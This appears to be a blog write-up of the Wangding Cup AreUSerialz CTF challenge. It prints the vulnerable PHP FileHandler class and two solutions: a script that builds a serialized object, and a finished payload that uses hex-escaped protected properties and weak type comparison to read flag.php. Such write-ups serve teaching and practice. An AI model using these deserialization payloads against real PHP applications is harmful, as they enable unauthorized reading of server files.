← Back to all posts
Code Audit3 min read

Wangding Cup AreUSerialz Deserialization Challenge

After reading a write-up for the Wangding Cup AreUSerialz deserialization challenge, I learned some new details about PHP deserialization, including bypassing the ASCII validation function, weak type comparison, and representing protected properties with hexadecimal strings.

Read in Chinese→

After reading a write-up for the Wangding Cup AreUSerialz deserialization challenge,
I learned some new things about PHP deserialization that I had never noticed before.

The challenge looks like this:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

   protected $op;

   protected $filename;

   protected $content;

   function __construct() {

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();   

    }
    public function process() {

        if($this->op == "1") {

            $this->write();       

        } else if($this->op == "2") {

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }
    }
    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }



    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        $this->process();

    }
}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);
    }
}

A quick look at the code reveals a deserialization vulnerability.
The contents of protect are controllable.

The main task is to bypass the is\_vaild function, which stipulates that the serialized content may contain only visible ASCII characters.

Also, because the \_\_destruct\(\) magic method is called before read\(\),
the \_\_destruct\(\) method uses a strict comparison: this->op === “2”, while the process\(\)
method uses else if \( this->op == “2”\).
Therefore, the weak type comparison 2 == "2" can be used to bypass it.

First Solution

The PHP version used for the challenge is relatively recent, so a public property can override and replace a protected property.

<?php
class FileHandler {
    public $op = 2;
    public $filename = "flag.php";
    public $content = "zeo";
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
$a = new FileHandler();
$b = serialize($a);

var_dump(is_valid($b));
print_r($b);
```![在这里插入图片描述](/images/20200511210523671.png)

![在这里插入图片描述](/images/20200511210452672.png)

## Second Solution

Below is P Niu’s previous explanation.

When PHP serializes `private` and `protected` variables, it introduces the invisible character `\\x00`. This information may be lost during output or copying, causing errors during deserialization.

When a `private` property is serialized, two `\\x00` characters are introduced. Note that these two `\\x00` values are characters with the ASCII code 0. They may be invisible when displayed or output, and may even cause truncation. As shown in Figure 1, they become clearly visible after URL encoding.  
Similarly, a `protected` property introduces `\\x00\*\\x00`.

To make deserialization payloads easier to transmit and display, an uppercase `S` can be used to represent a string in serialized content. This allows the subsequent characters in the string to be represented in hexadecimal. For example, `s:5:“A\<null\_byte>B”;̀ \-> S:5:“A\\00B\\09\\0D”;`

Simply change the `s` after the serialization marker to `S`, and the characters inside can then be handled normally.```php
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loecho";}